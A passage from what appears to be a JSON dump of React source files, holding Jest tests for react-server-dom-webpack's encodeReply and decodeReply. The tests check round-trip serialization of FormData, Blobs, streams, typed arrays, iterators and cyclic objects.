eslint-disable-next-line no-eval\n      globalThis.eval = previousEval;\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReply-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\nglobal.TextDecoder = require('util').TextDecoder;\n\n// let serverExports;\nlet webpackServerMap;\nlet React;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\nlet ReactServerScheduler;\nlet serverAct;\n\ndescribe('ReactFlightDOMReply', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactServerScheduler = require('scheduler');\n    patchMessageChannel(ReactServerScheduler);\n    serverAct = require('internal-test-utils').serverAct;\n\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-webpack/server', () =>\n      require('react-server-dom-webpack/server.browser'),\n    );\n    const WebpackMock = require('./utils/WebpackMock');\n    // serverExports = WebpackMock.serverExports;\n    webpackServerMap = WebpackMock.webpackServerMap;\n    React = require('react');\n    ReactServerDOMServer = require('react-server-dom-webpack/server.browser');\n    jest.resetModules();\n    __unmockReact();\n    ReactServerDOMClient = require('react-server-dom-webpack/client');\n  });\n\n  // This method should exist on File but is not implemented in JSDOM\n  async function arrayBuffer(file) {\n    return new Promise((resolve, reject) => {\n      const reader = new FileReader();\n      reader.onload = function () {\n        return resolve(reader.result);\n      };\n      reader.onerror = function () {\n        return reject(reader.error);\n      };\n      reader.readAsArrayBuffer(file);\n    });\n  }\n\n  it('can pass undefined as a reply', async () => {\n    const body = await ReactServerDOMClient.encodeReply(undefined);\n    const missing = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n    expect(missing).toBe(undefined);\n\n    const body2 = await ReactServerDOMClient.encodeReply({\n      array: [undefined, null, undefined],\n      prop: undefined,\n    });\n    const object = await ReactServerDOMServer.decodeReply(\n      body2,\n      webpackServerMap,\n    );\n    expect(object.array.length).toBe(3);\n    expect(object.array[0]).toBe(undefined);\n    expect(object.array[1]).toBe(null);\n    expect(object.array[3]).toBe(undefined);\n    expect(object.prop).toBe(undefined);\n    // These should really be true but our deserialization doesn't currently deal with it.\n    expect('3' in object.array).toBe(false);\n    expect('prop' in object).toBe(false);\n  });\n\n  it('can pass an iterable as a reply', async () => {\n    const body = await ReactServerDOMClient.encodeReply({\n      [Symbol.iterator]: function* () {\n        yield 'A';\n        yield 'B';\n        yield 'C';\n      },\n    });\n    const iterable = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n    const items = [];\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const item of iterable) {\n      items.push(item);\n    }\n    expect(items).toEqual(['A', 'B', 'C']);\n\n    // Multipass\n    const items2 = [];\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const item of iterable) {\n      items2.push(item);\n    }\n    expect(items2).toEqual(['A', 'B', 'C']);\n  });\n\n  it('can pass an iterator as a reply', async () => {\n    const iterator = (function* () {\n      yield 'A';\n      yield 'B';\n      yield 'C';\n    })();\n\n    const body = await ReactServerDOMClient.encodeReply(iterator);\n    const result = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    // The iterator should be the same as itself.\n    expect(result[Symbol.iterator]()).toBe(result);\n\n    expect(Array.from(result)).toEqual(['A', 'B', 'C']);\n    // We've already consumed this iterator.\n    expect(Array.from(result)).toEqual([]);\n  });\n\n  it('can pass weird numbers as a reply', async () => {\n    const nums = [0, -0, Infinity, -Infinity, NaN];\n    const body = await ReactServerDOMClient.encodeReply(nums);\n    const nums2 = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    expect(nums).toEqual(nums2);\n    expect(nums.every((n, i) => Object.is(n, nums2[i]))).toBe(true);\n  });\n\n  it('can pass a BigInt as a reply', async () => {\n    const body = await ReactServerDOMClient.encodeReply(90071992547409910000n);\n    const n = await ReactServerDOMServer.decodeReply(body, webpackServerMap);\n\n    expect(n).toEqual(90071992547409910000n);\n  });\n\n  it('can pass FormData as a reply', async () => {\n    const formData = new FormData();\n    formData.set('hello', 'world');\n    formData.append('list', '1');\n    formData.append('list', '2');\n    formData.append('list', '3');\n    const typedArray = new Uint8Array([0, 1, 2, 3]);\n    const blob = new Blob([typedArray]);\n    formData.append('blob', blob, 'filename.blob');\n\n    const body = await ReactServerDOMClient.encodeReply(formData);\n    const formData2 = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    expect(formData2).not.toBe(formData);\n    expect(Array.from(formData2).length).toBe(5);\n    expect(formData2.get('hello')).toBe('world');\n    expect(formData2.getAll('list')).toEqual(['1', '2', '3']);\n    const blob2 = formData.get('blob');\n    expect(blob2.size).toBe(4);\n    expect(blob2.name).toBe('filename.blob');\n    expect(blob2.type).toBe('');\n    const typedArray2 = new Uint8Array(await arrayBuffer(blob2));\n    expect(typedArray2).toEqual(typedArray);\n  });\n\n  it('can pass multiple Files in FormData', async () => {\n    const typedArrayA = new Uint8Array([0, 1, 2, 3]);\n    const typedArrayB = new Uint8Array([4, 5]);\n    const blobA = new Blob([typedArrayA]);\n    const blobB = new Blob([typedArrayB]);\n    const formData = new FormData();\n    formData.append('filelist', 'string');\n    formData.append('filelist', blobA);\n    formData.append('filelist', blobB);\n\n    const body = await ReactServerDOMClient.encodeReply(formData);\n    const formData2 = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    const filelist2 = formData2.getAll('filelist');\n    expect(filelist2.length).toBe(3);\n    expect(filelist2[0]).toBe('string');\n    const blobA2 = filelist2[1];\n    expect(blobA2.size).toBe(4);\n    expect(blobA2.name).toBe('blob');\n    expect(blobA2.type).toBe('');\n    const typedArrayA2 = new Uint8Array(await arrayBuffer(blobA2));\n    expect(typedArrayA2).toEqual(typedArrayA);\n    const blobB2 = filelist2[2];\n    expect(blobB2.size).toBe(2);\n    expect(blobB2.name).toBe('blob');\n    expect(blobB2.type).toBe('');\n    const typedArrayB2 = new Uint8Array(await arrayBuffer(blobB2));\n    expect(typedArrayB2).toEqual(typedArrayB);\n  });\n\n  it('can pass two independent FormData with same keys', async () => {\n    const formDataA = new FormData();\n    formDataA.set('greeting', 'hello');\n    const formDataB = new FormData();\n    formDataB.set('greeting', 'hi');\n\n    const body = await ReactServerDOMClient.encodeReply({\n      a: formDataA,\n      b: formDataB,\n    });\n    const {a: formDataA2, b: formDataB2} =\n      await ReactServerDOMServer.decodeReply(body, webpackServerMap);\n\n    expect(Array.from(formDataA2).length).toBe(1);\n    expect(Array.from(formDataB2).length).toBe(1);\n    expect(formDataA2.get('greeting')).toBe('hello');\n    expect(formDataB2.get('greeting')).toBe('hi');\n  });\n\n  it('can pass a Date as a reply', async () => {\n    const d = new Date(1234567890123);\n    const body = await ReactServerDOMClient.encodeReply(d);\n    const d2 = await ReactServerDOMServer.decodeReply(body, webpackServerMap);\n\n    expect(d).toEqual(d2);\n    expect(d % 1000).toEqual(123); // double-check the milliseconds made it through\n  });\n\n  it('can pass a Map as a reply', async () => {\n    const objKey = {obj: 'key'};\n    const m = new Map([\n      ['hi', {greet: 'world'}],\n      [objKey, 123],\n    ]);\n    const body = await ReactServerDOMClient.encodeReply(m);\n    const m2 = await ReactServerDOMServer.decodeReply(body, webpackServerMap);\n\n    expect(m2 instanceof Map).toBe(true);\n    expect(m2.size).toBe(2);\n    expect(m2.get('hi').greet).toBe('world');\n    expect(m2).toEqual(m);\n  });\n\n  it('can pass a Set as a reply', async () => {\n    const objKey = {obj: 'key'};\n    const s = new Set(['hi', objKey]);\n\n    const body = await ReactServerDOMClient.encodeReply(s);\n    const s2 = await ReactServerDOMServer.decodeReply(body, webpackServerMap);\n\n    expect(s2 instanceof Set).toBe(true);\n    expect(s2.size).toBe(2);\n    expect(s2.has('hi')).toBe(true);\n    expect(s2).toEqual(s);\n  });\n\n  it('does not hang indefinitely when calling decodeReply with FormData', async () => {\n    let error;\n    try {\n      await ReactServerDOMServer.decodeReply(new FormData(), webpackServerMap);\n    } catch (e) {\n      error = e;\n    }\n    expect(error.message).toBe('Connection closed.');\n  });\n\n  it('resolves a promise and includes its value', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    const bodyPromise = ReactServerDOMClient.encodeReply({promise: promise});\n    resolve('Hi');\n    const result = await ReactServerDOMServer.decodeReply(await bodyPromise);\n    expect(await result.promise).toBe('Hi');\n  });\n\n  it('resolves a React.lazy and includes its value', async () => {\n    let resolve;\n    const lazy = React.lazy(() => new Promise(r => (resolve = r)));\n    const bodyPromise = ReactServerDOMClient.encodeReply({lazy: lazy});\n    resolve({default: 'Hi'});\n    const result = await ReactServerDOMServer.decodeReply(await bodyPromise);\n    expect(result.lazy).toBe('Hi');\n  });\n\n  it('resolves a proxy throwing a promise inside React.lazy', async () => {\n    let resolve1;\n    let resolve2;\n    const lazy = React.lazy(() => new Promise(r => (resolve1 = r)));\n    const promise = new Promise(r => (resolve2 = r));\n    const bodyPromise1 = ReactServerDOMClient.encodeReply({lazy: lazy});\n    const target = {value: ''};\n    let loaded = false;\n    const proxy = new Proxy(target, {\n      get(targetObj, prop, receiver) {\n        if (prop === 'value') {\n          if (!loaded) {\n            throw promise;\n          }\n          return 'Hello';\n        }\n        return targetObj[prop];\n      },\n    });\n    await resolve1({default: proxy});\n\n    // Encode it again so that we have an already initialized lazy\n    // This is now already resolved but the proxy inside isn't. This ensures\n    // we trigger the retry code path.\n    const bodyPromise2 = ReactServerDOMClient.encodeReply({lazy: lazy});\n\n    // Then resolve the inner thrown promise.\n    loaded = true;\n    await resolve2('Hello');\n\n    const result1 = await ReactServerDOMServer.decodeReply(await bodyPromise1);\n    expect(await result1.lazy.value).toBe('Hello');\n    const result2 = await ReactServerDOMServer.decodeReply(await bodyPromise2);\n    expect(await result2.lazy.value).toBe('Hello');\n  });\n\n  it('errors when called with JSX by default', async () => {\n    let error;\n    try {\n      await ReactServerDOMClient.encodeReply(<div />);\n    } catch (x) {\n      error = x;\n    }\n    expect(error).toEqual(\n      expect.objectContaining({\n        message: __DEV__\n          ? expect.stringContaining(\n              'React Element cannot be passed to Server Functions from the Client without a temporary reference set.',\n            )\n          : expect.stringContaining(''),\n      }),\n    );\n  });\n\n  it('can pass JSX through a round trip using temporary references', async () => {\n    function Component() {\n      return <div />;\n    }\n\n    const children = <Component />;\n\n    const temporaryReferences =\n      ReactServerDOMClient.createTemporaryReferenceSet();\n    const body = await ReactServerDOMClient.encodeReply(\n      {children},\n      {\n        temporaryReferences,\n      },\n    );\n\n    const temporaryReferencesServer =\n      ReactServerDOMServer.createTemporaryReferenceSet();\n    const serverPayload = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n      {temporaryReferences: temporaryReferencesServer},\n    );\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(serverPayload, null, {\n        temporaryReferences: temporaryReferencesServer,\n      }),\n    );\n    const response = await ReactServerDOMClient.createFromReadableStream(\n      stream,\n      {\n        temporaryReferences,\n      },\n    );\n\n    // This should've been the same reference that we already saw.\n    expect(response.children).toBe(children);\n  });\n\n  it('can pass JSX as root model through a round trip using temporary references', async () => {\n    const jsx = <div />;\n\n    const temporaryReferences =\n      ReactServerDOMClient.createTemporaryReferenceSet();\n    const body = await ReactServerDOMClient.encodeReply(jsx, {\n      temporaryReferences,\n    });\n\n    const temporaryReferencesServer =\n      ReactServerDOMServer.createTemporaryReferenceSet();\n    const serverPayload = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n      {temporaryReferences: temporaryReferencesServer},\n    );\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(serverPayload, null, {\n        temporaryReferences: temporaryReferencesServer,\n      }),\n    );\n    const response = await ReactServerDOMClient.createFromReadableStream(\n      stream,\n      {\n        temporaryReferences,\n      },\n    );\n\n    // This should be the same reference that we already saw.\n    await expect(response).toBe(jsx);\n  });\n\n  it('can pass a promise that resolves to JSX through a round trip using temporary references', async () => {\n    const jsx = <div />;\n    const promise = Promise.resolve(jsx);\n\n    const temporaryReferences =\n      ReactServerDOMClient.createTemporaryReferenceSet();\n    const body = await ReactServerDOMClient.encodeReply(\n      {promise},\n      {\n        temporaryReferences,\n      },\n    );\n\n    const temporaryReferencesServer =\n      ReactServerDOMServer.createTemporaryReferenceSet();\n    const serverPayload = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n      {temporaryReferences: temporaryReferencesServer},\n    );\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(serverPayload, null, {\n        temporaryReferences: temporaryReferencesServer,\n      }),\n    );\n    const response = await ReactServerDOMClient.createFromReadableStream(\n      stream,\n      {\n        temporaryReferences,\n      },\n    );\n\n    // This should resolve to the same reference that we already saw.\n    await expect(response.promise).resolves.toBe(jsx);\n  });\n\n  it('can return the same object using temporary references', async () => {\n    const obj = {\n      this: {is: 'a large object'},\n      with: {many: 'properties in it'},\n    };\n\n    const root = {obj};\n\n    const temporaryReferences =\n      ReactServerDOMClient.createTemporaryReferenceSet();\n    const body = await ReactServerDOMClient.encodeReply(root, {\n      temporaryReferences,\n    });\n\n    const temporaryReferencesServer =\n      ReactServerDOMServer.createTemporaryReferenceSet();\n    const serverPayload = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n      {temporaryReferences: temporaryReferencesServer},\n    );\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        {\n          root: serverPayload,\n          obj: serverPayload.obj,\n        },\n        null,\n        {temporaryReferences: temporaryReferencesServer},\n      ),\n    );\n    const response = await ReactServerDOMClient.createFromReadableStream(\n      stream,\n      {\n        temporaryReferences,\n      },\n    );\n\n    // This should've been the same reference that we already saw because\n    // we returned it by reference.\n    expect(response.root).toBe(root);\n    expect(response.obj).toBe(obj);\n  });\n\n  it('can return an opaque object through an async function', async () => {\n    function fn() {\n      return 'this is a client function';\n    }\n\n    const args = [fn];\n\n    const temporaryReferences =\n      ReactServerDOMClient.createTemporaryReferenceSet();\n    const body = await ReactServerDOMClient.encodeReply(args, {\n      temporaryReferences,\n    });\n\n    const temporaryReferencesServer =\n      ReactServerDOMServer.createTemporaryReferenceSet();\n    const serverPayload = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n      {temporaryReferences: temporaryReferencesServer},\n    );\n\n    async function action(arg) {\n      return arg;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        {\n          result: action.apply(null, serverPayload),\n        },\n        null,\n        {temporaryReferences: temporaryReferencesServer},\n      ),\n    );\n    const response = await ReactServerDOMClient.createFromReadableStream(\n      stream,\n      {\n        temporaryReferences,\n      },\n    );\n\n    expect(await response.result).toBe(fn);\n  });\n\n  it('should supports streaming ReadableStream with objects', async () => {\n    let controller1;\n    let controller2;\n    const s1 = new ReadableStream({\n      start(c) {\n        controller1 = c;\n      },\n    });\n    const s2 = new ReadableStream({\n      start(c) {\n        controller2 = c;\n      },\n    });\n\n    const promise = ReactServerDOMClient.encodeReply({s1, s2});\n\n    controller1.enqueue({hello: 'world'});\n    controller2.enqueue({hi: 'there'});\n\n    controller1.enqueue('text1');\n    controller2.enqueue('text2');\n\n    controller1.close();\n    controller2.close();\n\n    const body = await promise;\n\n    const result = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n    const reader1 = result.s1.getReader();\n    const reader2 = result.s2.getReader();\n\n    expect(await reader1.read()).toEqual({\n      value: {hello: 'world'},\n      done: false,\n    });\n    expect(await reader2.read()).toEqual({\n      value: {hi: 'there'},\n      done: false,\n    });\n\n    expect(await reader1.read()).toEqual({\n      value: 'text1',\n      done: false,\n    });\n    expect(await reader1.read()).toEqual({\n      value: undefined,\n      done: true,\n    });\n    expect(await reader2.read()).toEqual({\n      value: 'text2',\n      done: false,\n    });\n    expect(await reader2.read()).toEqual({\n      value: undefined,\n      done: true,\n    });\n  });\n\n  it('should supports streaming AsyncIterables with objects', async () => {\n    let resolve;\n    const wait = new Promise(r => (resolve = r));\n    const multiShotIterable = {\n      async *[Symbol.asyncIterator]() {\n        const next = yield {hello: 'A'};\n        expect(next).toBe(undefined);\n        await wait;\n        yield {hi: 'B'};\n        return 'C';\n      },\n    };\n    const singleShotIterator = (async function* () {\n      const next = yield {hello: 'D'};\n      expect(next).toBe(undefined);\n      await wait;\n      yield {hi: 'E'};\n      return 'F';\n    })();\n\n    await resolve();\n\n    const body = await ReactServerDOMClient.encodeReply({\n      multiShotIterable,\n      singleShotIterator,\n    });\n    const result = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    const iterator1 = result.multiShotIterable[Symbol.asyncIterator]();\n    const iterator2 = result.singleShotIterator[Symbol.asyncIterator]();\n\n    expect(iterator1).not.toBe(result.multiShotIterable);\n    expect(iterator2).toBe(result.singleShotIterator);\n\n    expect(await iterator1.next()).toEqual({\n      value: {hello: 'A'},\n      done: false,\n    });\n    expect(await iterator2.next()).toEqual({\n      value: {hello: 'D'},\n      done: false,\n    });\n\n    expect(await iterator1.next()).toEqual({\n      value: {hi: 'B'},\n      done: false,\n    });\n    expect(await iterator2.next()).toEqual({\n      value: {hi: 'E'},\n      done: false,\n    });\n    expect(await iterator1.next()).toEqual({\n      value: 'C', // Return value\n      done: true,\n    });\n    expect(await iterator1.next()).toEqual({\n      value: undefined,\n      done: true,\n    });\n\n    expect(await iterator2.next()).toEqual({\n      value: 'F', // Return value\n      done: true,\n    });\n\n    // Multi-shot iterables should be able to do the same thing again\n    const iterator3 = result.multiShotIterable[Symbol.asyncIterator]();\n\n    expect(iterator3).not.toBe(iterator1);\n\n    // We should be able to iterate over the iterable again and it should be\n    // synchronously available using instrumented promises so that React can\n    // rerender it synchronously.\n    expect(iterator3.next().value).toEqual({\n      value: {hello: 'A'},\n      done: false,\n    });\n    expect(iterator3.next().value).toEqual({\n      value: {hi: 'B'},\n      done: false,\n    });\n    expect(iterator3.next().value).toEqual({\n      value: 'C', // Return value\n      done: true,\n    });\n    expect(iterator3.next().value).toEqual({\n      value: undefined,\n      done: true,\n    });\n\n    expect(() => iterator3.next('this is not allowed')).toThrow(\n      'Values cannot be passed to next() of AsyncIterables passed to Client Components.',\n    );\n  });\n\n  it('can transport cyclic objects', async () => {\n    const cyclic = {obj: null};\n    cyclic.obj = cyclic;\n\n    const body = await ReactServerDOMClient.encodeReply({prop: cyclic});\n    const root = await ReactServerDOMServer.decodeReply(body, webpackServerMap);\n    expect(root.prop.obj).toBe(root.prop);\n  });\n\n  it('can transport cyclic arrays', async () => {\n    const obj = {};\n    const cyclic = [obj];\n    cyclic[1] = cyclic;\n\n    const body = await ReactServerDOMClient.encodeReply({prop: cyclic, obj});\n    const root = await ReactServerDOMServer.decodeReply(body, webpackServerMap);\n    expect(root.prop[1]).toBe(root.prop);\n    expect(root.prop[0]).toBe(root.obj);\n  });\n\n  it('can abort an unresolved model and get the partial result', async () => {\n    const promise = new Promise(r => {});\n    const controller = new AbortController();\n    const bodyPromise = ReactServerDOMClient.encodeReply(\n      {promise: promise, hello: 'world'},\n      {signal: controller.signal},\n    );\n    controller.abort();\n\n    const result = await ReactServerDOMServer.decodeReply(await bodyPromise);\n    expect(result.hello).toBe('world');\n    // TODO: await result.promise should reject at this point because the stream\n    // has closed but that's a bug in both ReactFlightReplyServer and ReactFlightClient.\n    // It just halts in this case.\n  });\n\n  it('cannot deserialize a Blob reference backed by a string', async () => {\n    const formData = new FormData();\n    formData.set('1', '-'.repeat(50000));\n    formData.set('0', JSON.stringify(['$B1']));\n    let error;\n    try {\n      await ReactServerDOMServer.decodeReply(formData, webpackServerMap);\n    } catch (x) {\n      error = x;\n    }\n    expect(error.message).toContain('Referenced Blob is not a Blob.');\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReplyEdge-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet assertConsoleErrorDev;\nlet serverExports;\nlet webpackServerMap;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\n\ndescribe('ReactFlightDOMReplyEdge', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-webpack/server', () =>\n      require('react-server-dom-webpack/server.edge'),\n    );\n    const WebpackMock = require('./utils/WebpackMock');\n    serverExports = WebpackMock.serverExports;\n    webpackServerMap = WebpackMock.webpackServerMap;\n    ReactServerDOMServer = require('react-server-dom-webpack/server.edge');\n    jest.resetModules();\n    ReactServerDOMClient = require('react-server-dom-webpack/client.edge');\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  it('can encode a reply', async () => {\n    const body = await ReactServerDOMClient.encodeReply({some: 'object'});\n    const decoded = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    expect(decoded).toEqual({some: 'object'});\n  });\n\n  it('should be able to serialize any kind of typed array', async () => {\n    const buffer = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]).buffer;\n    const buffers = [\n      buffer,\n      new Int8Array(buffer, 1),\n      new Uint8Array(buffer, 2),\n      new Uint8ClampedArray(buffer, 2),\n      new Int16Array(buffer, 2),\n      new Uint16Array(buffer, 2),\n      new Int32Array(buffer, 4),\n      new Uint32Array(buffer, 4),\n      new Float32Array(buffer, 4),\n      new Float64Array(buffer, 0),\n      new BigInt64Array(buffer, 0),\n      new BigUint64Array(buffer, 0),\n      new DataView(buffer, 3),\n    ];\n\n    const body = await ReactServerDOMClient.encodeReply(buffers);\n    const result = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    expect(result).toEqual(buffers);\n    // Array buffers can't use the toEqual helper.\n    expect(new Uint8Array(result[0])).toEqual(new Uint8Array(buffers[0]));\n  });\n\n  it('should be able to serialize a typed array inside a Map', async () => {\n    const array = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]);\n    const map = new Map();\n    map.set('array', array);\n\n    const body = await ReactServerDOMClient.encodeReply(map);\n    const result = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    expect(result.get('array')).toEqual(array);\n  });\n\n  it('should be able to serialize a blob', async () => {\n    const bytes = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]);\n    const blob = new Blob([bytes, bytes], {\n      type: 'application/x-test',\n    });\n    const body = await ReactServerDOMClient.encodeReply(blob);\n    const result = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n    expect(result instanceof Blob).toBe(true);\n    expect(result.size).toBe(bytes.length * 2);\n    expect(await result.arrayBuffer()).toEqual(await blob.arrayBuffer());\n  });\n\n  it('can transport FormData (blobs)', async () => {\n    const bytes = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]);\n    const blob = new Blob([bytes, bytes], {\n      type: 'application/x-test',\n    });\n\n    const formData = new FormData();\n    formData.append('hi', 'world');\n    formData.append('file', blob, 'filename.test');\n\n    expect(formData.get('file') instanceof File).toBe(true);\n    expect(formData.get('file').name).toBe('filename.test');\n\n    const body = await ReactServerDOMClient.encodeReply(formData);\n    const result = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    expect(result instanceof FormData).toBe(true);\n    expect(result.get('hi')).toBe('world');\n    const resultBlob = result.get('file');\n    expect(resultBlob instanceof Blob).toBe(true);\n    expect(resultBlob.name).toBe('filename.test'); // In this direction we allow file name to pass through but not other direction.\n    expect(resultBlob.size).toBe(bytes.length * 2);\n    expect(await resultBlob.arrayBuffer()).toEqual(await blob.arrayBuffer());\n  });\n\n  it('should support ReadableStreams with typed arrays', async () => {\n    const buffer = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]).buffer;\n    const buffers = [\n      buffer,\n      new Int8Array(buffer, 1),\n      new Uint8Array(buffer, 2),\n      new Uint8ClampedArray(buffer, 2),\n      new Int16Array(buffer, 2),\n      new Uint16Array(buffer, 2),\n      new Int32Array(buffer, 4),\n      new Uint32Array(buffer, 4),\n      new Float32Array(buffer, 4),\n      new Float64Array(buffer, 0),\n      new BigInt64Array(buffer, 0),\n      new BigUint64Array(buffer, 0),\n      new DataView(buffer, 3),\n    ];\n\n    // This is not a binary stream, it's a stream that contain binary chunks.\n    const s = new ReadableStream({\n      start(c) {\n        for (let i = 0; i < buffers.length; i++) {\n          c.enqueue(buffers[i]);\n        }\n        c.close();\n      },\n    });\n\n    const body = await ReactServerDOMClient.encodeReply(s);\n    const result = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    const streamedBuffers = [];\n    const reader = result.getReader();\n    let entry;\n    while (!(entry = await reader.read()).done) {\n      streamedBuffers.push(entry.value);\n    }\n\n    expect(streamedBuffers).toEqual(buffers);\n  });\n\n  it('should support BYOB binary ReadableStreams', async () => {\n    const sourceBytes = [\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ];\n\n    // Create separate buffers for each typed array to avoid ArrayBuffer\n    // transfer issues. Each view needs its own buffer because enqueue()\n    // transfers ownership.\n    const buffers = [\n      new Int8Array(sourceBytes.slice(1)),\n      new Uint8Array(sourceBytes.slice(2)),\n      new Uint8ClampedArray(sourceBytes.slice(2)),\n      new Int16Array(new Uint8Array(sourceBytes.slice(2)).buffer),\n      new Uint16Array(new Uint8Array(sourceBytes.slice(2)).buffer),\n      new Int32Array(new Uint8Array(sourceBytes.slice(4)).buffer),\n      new Uint32Array(new Uint8Array(sourceBytes.slice(4)).buffer),\n      new Float32Array(new Uint8Array(sourceBytes.slice(4)).buffer),\n      new Float64Array(new Uint8Array(sourceBytes.slice(0)).buffer),\n      new BigInt64Array(new Uint8Array(sourceBytes.slice(0)).buffer),\n      new BigUint64Array(new Uint8Array(sourceBytes.slice(0)).buffer),\n      new DataView(new Uint8Array(sourceBytes.slice(3)).buffer),\n    ];\n\n    // Save expected bytes before enqueueing (which will detach the buffers).\n    const expectedBytes = buffers.flatMap(c =>\n      Array.from(new Uint8Array(c.buffer, c.byteOffset, c.byteLength)),\n    );\n\n    // This a binary stream where each chunk ends up as Uint8Array.\n    const s = new ReadableStream({\n      type: 'bytes',\n      start(c) {\n        for (let i = 0; i < buffers.length; i++) {\n          c.enqueue(buffers[i]);\n        }\n        c.close();\n      },\n    });\n\n    const body = await ReactServerDOMClient.encodeReply(s);\n    const result = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    const streamedBuffers = [];\n    const reader = result.getReader({mode: 'byob'});\n    let entry;\n    while (!(entry = await reader.read(new Uint8Array(10))).done) {\n      expect(entry.value instanceof Uint8Array).toBe(true);\n      streamedBuffers.push(entry.value);\n    }\n\n    // The streamed buffers might be in different chunks and in Uint8Array form but\n    // the concatenated bytes should be the same.\n    expect(streamedBuffers.flatMap(t => Array.from(t))).toEqual(expectedBytes);\n  });\n\n  it('should cancel the transported ReadableStream when we are cancelled', async () => {\n    const s = new ReadableStream({\n      start(controller) {\n        controller.enqueue('hi');\n        controller.close();\n      },\n    });\n\n    const body = await ReactServerDOMClient.encodeReply(s);\n\n    const iterable = {\n      async *[Symbol.asyncIterator]() {\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const entry of body) {\n          if (entry[1] === 'C') {\n            // Return before finishing the stream.\n            return;\n          }\n          yield entry;\n        }\n      },\n    };\n\n    const result = await ReactServerDOMServer.decodeReplyFromAsyncIterable(\n      iterable,\n      webpackServerMap,\n    );\n\n    const reader = result.getReader();\n\n    // We should be able to read the part we already emitted before the abort\n    expect(await reader.read()).toEqual({\n      value: 'hi',\n      done: false,\n    });\n\n    let error = null;\n    try {\n      await reader.read();\n    } catch (x) {\n      error = x;\n    }\n\n    expect(error).not.toBe(null);\n    expect(error.message).toBe('Connection closed.');\n  });\n\n  it('should abort when parsing an incomplete payload', async () => {\n    const infinitePromise = new Promise(() => {});\n    const controller = new AbortController();\n    const promiseForResult = ReactServerDOMClient.encodeReply(\n      {promise: infinitePromise},\n      {\n        signal: controller.signal,\n      },\n    );\n    controller.abort();\n    const body = await promiseForResult;\n\n    const decoded = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n\n    let error = null;\n    try {\n      await decoded.promise;\n    } catch (x) {\n      error = x;\n    }\n    expect(error).not.toBe(null);\n    expect(error.message).toBe('Connection closed.');\n  });\n\n  it('can stream the decoding using an async iterable', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n\n    const buffer = new Uint8Array([\n      123, 4, 10, 5, 100, 